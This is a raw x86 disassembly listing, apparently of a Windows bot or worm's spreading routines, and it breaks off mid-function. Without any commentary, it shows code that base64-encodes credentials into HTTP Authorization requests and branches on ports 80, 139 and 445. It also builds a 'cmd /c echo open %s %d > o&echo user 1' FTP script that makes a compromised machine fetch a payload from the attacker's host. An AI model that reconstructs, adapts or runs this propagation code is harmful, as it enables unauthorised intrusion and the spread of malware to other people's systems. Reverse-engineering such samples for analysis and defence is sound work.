		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40CE40
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D019
		cmp	[ebp+var_20], 82h
		jz	short loc_40D01D

loc_40D019:				; CODE XREF: sub_40CFDE+1Bj
					; sub_40CFDE+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_40D01D:				; CODE XREF: sub_40CFDE+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF04
		add	esp, 0Ch
		leave
		retn
sub_40CFDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D030	proc near		; CODE XREF: sub_40D07C+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427690
		call	sub_41C798
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427688
		fstp	[esp+10h+var_10]
		call	sub_41C679
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41C798
		inc	eax
		leave
		retn
sub_40D030	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D07C	proc near		; CODE XREF: sub_40D21E+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426DF7
		call	sub_41CC64
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D6B3
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D030
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D0BE
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D62E

loc_40D0BE:				; CODE XREF: sub_40D07C+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D1DB
		mov	ebx, [ebp+10h]

loc_40D0CD:				; CODE XREF: sub_40D07C+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D0D7
		push	3
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------

loc_40D0D7:				; CODE XREF: sub_40D07C+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D0E1
		push	2
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------

loc_40D0E1:				; CODE XREF: sub_40D07C+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D0EA
		push	1

loc_40D0E9:				; CODE XREF: sub_40D07C+59j
					; sub_40D07C+63j
		pop	ebx

loc_40D0EA:				; CODE XREF: sub_40D07C+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_4276A0
		fstp	[esp+40h+var_40]
		call	sub_41C7BF
		pop	ecx
		pop	ecx
		call	sub_41C798
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D129
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi

loc_40D129:				; CODE XREF: sub_40D07C+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D197
		add	[ebp-18h], eax

loc_40D17B:				; CODE XREF: sub_40D07C+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_431D64[eax]
		push	eax
		push	1
		call	sub_40D4B0
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D17B

loc_40D197:				; CODE XREF: sub_40D07C+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D1B5
		push	dword ptr [ebp+14h]
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D509
		mov	[ebp-18h], edi

loc_40D1B5:				; CODE XREF: sub_40D07C+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D1CF
		sub	esi, [ebp-1Ch]

loc_40D1C0:				; CODE XREF: sub_40D07C+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D4B0
		dec	esi
		jnz	short loc_40D1C0

loc_40D1CF:				; CODE XREF: sub_40D07C+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D0CD
		push	1
		pop	ebx

loc_40D1DB:				; CODE XREF: sub_40D07C+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		push	dword_427698
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D560
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D07C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D21E	proc near		; CODE XREF: ___:0040D41Bp
		mov	eax, offset loc_426E14
		call	sub_41CC64
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_43D128
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D07C
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41B4D5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D268
		xor	bl, bl
		jmp	short loc_40D2AC
; ---------------------------------------------------------------------------

loc_40D268:				; CODE XREF: sub_40D21E+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_4276A8
		cmp	ecx, ebx
		jnz	short loc_40D276
		mov	ecx, eax

loc_40D276:				; CODE XREF: sub_40D21E+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D27E
		mov	eax, [ebp+18h]

loc_40D27E:				; CODE XREF: sub_40D21E+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41B980
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		cmp	eax, esi
		jz	short loc_40D2A3
		xor	bl, bl
		jmp	short loc_40D2A5
; ---------------------------------------------------------------------------

loc_40D2A3:				; CODE XREF: sub_40D21E+7Fj
		mov	bl, 1

loc_40D2A5:				; CODE XREF: sub_40D21E+83j
		push	edi
		call	sub_41B0B1
		pop	ecx

loc_40D2AC:				; CODE XREF: sub_40D21E+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D6B3
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D21E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_431F10
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		mov	eax, offset byte_429108
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CACB0
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41B980
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_431DA8
		push	eax
		call	sub_40CADA
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D377
		xor	eax, eax
		jmp	loc_40D4A3
; ---------------------------------------------------------------------------

loc_40D377:				; CODE XREF: ___:0040D36Ej
		mov	[ebp-0Ch], esi

loc_40D37A:				; CODE XREF: ___:0040D47Aj
		test	esi, esi
		jnz	loc_40D480
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D468
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CAF74
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CAFB4
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D45D
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D425
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D6EF
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D21E
		add	esp, 1Ch
		jmp	short loc_40D45A
; ---------------------------------------------------------------------------

loc_40D425:				; CODE XREF: ___:0040D3E3j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D43F
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CFDE
		jmp	short loc_40D457
; ---------------------------------------------------------------------------

loc_40D43F:				; CODE XREF: ___:0040D42Fj
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D45D
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CF04

loc_40D457:				; CODE XREF: ___:0040D43Dj
		add	esp, 0Ch

loc_40D45A:				; CODE XREF: ___:0040D423j
		movzx	esi, al

loc_40D45D:				; CODE XREF: ___:0040D3D6j
					; ___:0040D449j
		push	ebx
		call	dword_4CB00C
		test	esi, esi
		jnz	short loc_40D473

loc_40D468:				; CODE XREF: ___:0040D393j
		push	3E8h
		nop
		call	near ptr 2670EA1h

loc_40D473:				; CODE XREF: ___:0040D466j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D37A

loc_40D480:				; CODE XREF: ___:0040D37Cj
		lea	ecx, [ebp-8]
		call	sub_40C8FF
		test	esi, esi
		jz	short loc_40D4A1
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431410[eax]
		lea	eax, dword_431410[eax]

loc_40D4A1:				; CODE XREF: ___:0040D48Aj
		mov	eax, esi

loc_40D4A3:				; CODE XREF: ___:0040D372j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426DD8

loc_40D4A8:				; CODE XREF: sub_426DD8+3j
					; ___:00426DF1j ...
		push	1
		call	sub_40D6B3
		retn
; END OF FUNCTION CHUNK	FOR sub_426DD8

; =============== S U B	R O U T	I N E =======================================



sub_40D4B0	proc near		; CODE XREF: sub_40D07C+110p
					; sub_40D07C+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D4CA
		call	sub_42669A

loc_40D4CA:				; CODE XREF: sub_40D4B0+13j
		test	ebx, ebx
		jbe	short loc_40D501
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D501
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41B590
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0

loc_40D501:				; CODE XREF: sub_40D4B0+1Cj
					; sub_40D4B0+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D4B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D509	proc near		; CODE XREF: sub_40D07C+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D523
		call	sub_42669A

loc_40D523:				; CODE XREF: sub_40D509+13j
		test	ebx, ebx
		jbe	short loc_40D558
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D558
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0

loc_40D558:				; CODE XREF: sub_40D509+1Cj
					; sub_40D509+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D509	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D560	proc near		; CODE XREF: sub_40D07C+17Cp
					; sub_4265B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D578
		call	sub_426573

loc_40D578:				; CODE XREF: sub_40D560+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D58A
		mov	esi, [ebp+arg_8]

loc_40D58A:				; CODE XREF: sub_40D560+25j
		cmp	edi, ebx
		jnz	short loc_40D5AC
		push	dword_427698
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D724
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D724
		jmp	short loc_40D625
; ---------------------------------------------------------------------------

loc_40D5AC:				; CODE XREF: sub_40D560+2Cj
		test	esi, esi
		jbe	short loc_40D5EF
		cmp	esi, eax
		jnz	short loc_40D5EF
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5C0
		mov	eax, offset dword_4276A8

loc_40D5C0:				; CODE XREF: sub_40D560+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D5EF
		push	1
		mov	ecx, edi
		call	sub_40D6B3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5DB
		mov	eax, offset dword_4276A8

loc_40D5DB:				; CODE XREF: sub_40D560+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D625
; ---------------------------------------------------------------------------

loc_40D5EF:				; CODE XREF: sub_40D560+4Ej
					; sub_40D560+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D625
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D609
		mov	eax, offset dword_4276A8

loc_40D609:				; CODE XREF: sub_40D560+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41C310
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0

loc_40D625:				; CODE XREF: sub_40D560+4Aj
					; sub_40D560+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D560	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D62E	proc near		; CODE XREF: sub_40D07C+3Dp
					; sub_40D4B0+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D640
		call	sub_42669A

loc_40D640:				; CODE XREF: sub_40D62E+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D669
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D669
		cmp	al, 0FFh
		jz	short loc_40D669
		cmp	edi, edx
		jnz	short loc_40D6A4
		dec	al
		push	edx
		mov	[ecx-1], al

loc_40D65E:				; CODE XREF: sub_40D62E+47j
		mov	ecx, esi
		call	sub_40D6B3

loc_40D665:				; CODE XREF: sub_40D62E+4Bj
					; sub_40D62E+52j
		xor	al, al
		jmp	short loc_40D6AE
; ---------------------------------------------------------------------------

loc_40D669:				; CODE XREF: sub_40D62E+19j
					; sub_40D62E+20j ...
		cmp	edi, edx
		jnz	short loc_40D682
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D677
		push	1
		jmp	short loc_40D65E
; ---------------------------------------------------------------------------

loc_40D677:				; CODE XREF: sub_40D62E+43j
		cmp	ecx, edx
		jz	short loc_40D665
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D665
; ---------------------------------------------------------------------------

loc_40D682:				; CODE XREF: sub_40D62E+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D69F
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D694
		cmp	eax, edi
		jnb	short loc_40D6AC

loc_40D694:				; CODE XREF: sub_40D62E+60j
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		jmp	short loc_40D6A4
; ---------------------------------------------------------------------------

loc_40D69F:				; CODE XREF: sub_40D62E+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D6AC

loc_40D6A4:				; CODE XREF: sub_40D62E+28j
					; sub_40D62E+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40D78B

loc_40D6AC:				; CODE XREF: sub_40D62E+64j
					; sub_40D62E+74j
		mov	al, 1

loc_40D6AE:				; CODE XREF: sub_40D62E+39j
		pop	edi
		pop	esi
		retn	8
sub_40D62E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6B3	proc near		; CODE XREF: sub_40D07C+1Fp
					; sub_40D07C+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D6DF
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D6DF
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D6D8
		cmp	al, 0FFh
		jz	short loc_40D6D8
		dec	al
		mov	[ecx], al
		jmp	short loc_40D6DF
; ---------------------------------------------------------------------------

loc_40D6D8:				; CODE XREF: sub_40D6B3+19j
					; sub_40D6B3+1Dj
		push	ecx
		call	sub_41CC83
		pop	ecx

loc_40D6DF:				; CODE XREF: sub_40D6B3+8j
					; sub_40D6B3+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D6B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6EF	proc near		; CODE XREF: ___:0040D40Fp
					; sub_40D848+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D71D
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0

loc_40D71D:				; CODE XREF: sub_40D6EF+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D6EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D724	proc near		; CODE XREF: sub_40D560+39p
					; sub_40D560+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D737
		call	sub_426573

loc_40D737:				; CODE XREF: sub_40D724+Cj
		mov	ecx, edi
		call	sub_40D848
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40D74D
		mov	ebx, eax

loc_40D74D:				; CODE XREF: sub_40D724+25j
		test	ebx, ebx
		jbe	short loc_40D783
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41CC90
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D783
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0

loc_40D783:				; CODE XREF: sub_40D724+2Bj
					; sub_40D724+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D724	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D78B	proc near		; CODE XREF: sub_40D62E+79p
		mov	eax, offset loc_426E20
		call	sub_41CC64
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40D7B1
		mov	edi, [ebp+8]

loc_40D7B1:				; CODE XREF: sub_40D78B+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40D7BE
		xor	eax, eax

loc_40D7BE:				; CODE XREF: sub_40D78B+2Fj
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40D7EF
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40D7D9
		xor	eax, eax

loc_40D7D9:				; CODE XREF: sub_40D78B+4Aj
		push	eax
		call	sub_41CFC5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40D7E9
		retn
; ---------------------------------------------------------------------------

loc_40D7E9:				; DATA XREF: sub_40D78B+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]

loc_40D7EF:				; CODE XREF: sub_40D78B+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40D80D
		cmp	eax, edi
		jbe	short loc_40D7FC
		mov	eax, edi

loc_40D7FC:				; CODE XREF: sub_40D78B+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41C310
		add	esp, 0Ch

loc_40D80D:				; CODE XREF: sub_40D78B+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40D82D
		mov	edi, ebx

loc_40D82D:				; CODE XREF: sub_40D78B+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40D78B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D848	proc near		; CODE XREF: sub_40D724+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40D875
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40D875
		cmp	al, 0FFh
		jz	short loc_40D875
		push	1
		call	sub_40D6B3
		push	esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D6EF

loc_40D875:				; CODE XREF: sub_40D848+9j
					; sub_40D848+10j ...
		pop	edi
		pop	esi
		retn
sub_40D848	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D878	proc near		; DATA XREF: ___:00429008o
		test	byte_4DB594, 1
		jnz	short loc_40D888
		or	byte_4DB594, 1

loc_40D888:				; CODE XREF: sub_40D878+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41D040
		pop	ecx
		retn
sub_40D878	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D89A	proc near		; DATA XREF: ___:0042900Co
		jmp	$+5
sub_40D89A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D89F	proc near
		mov	eax, dword_4321C8
		add	eax, 6
		mov	dword_4CDC94, eax
		retn
sub_40D89F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D8AD	proc near		; CODE XREF: sub_40D8AD+D0p
					; ___:0040DE0Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40D8C1
		or	[ebp+arg_7], 1
		jmp	short loc_40D8C5
; ---------------------------------------------------------------------------

loc_40D8C1:				; CODE XREF: sub_40D8AD+Cj
		and	[ebp+arg_7], 0FEh

loc_40D8C5:				; CODE XREF: sub_40D8AD+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40D8E9
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40D8FB
; ---------------------------------------------------------------------------

loc_40D8E9:				; CODE XREF: sub_40D8AD+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1

loc_40D8FB:				; CODE XREF: sub_40D8AD+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40D994
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jz	short loc_40D98B
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40D98B
		push	[ebp+arg_20]
		call	sub_41B0B1
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40D987
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
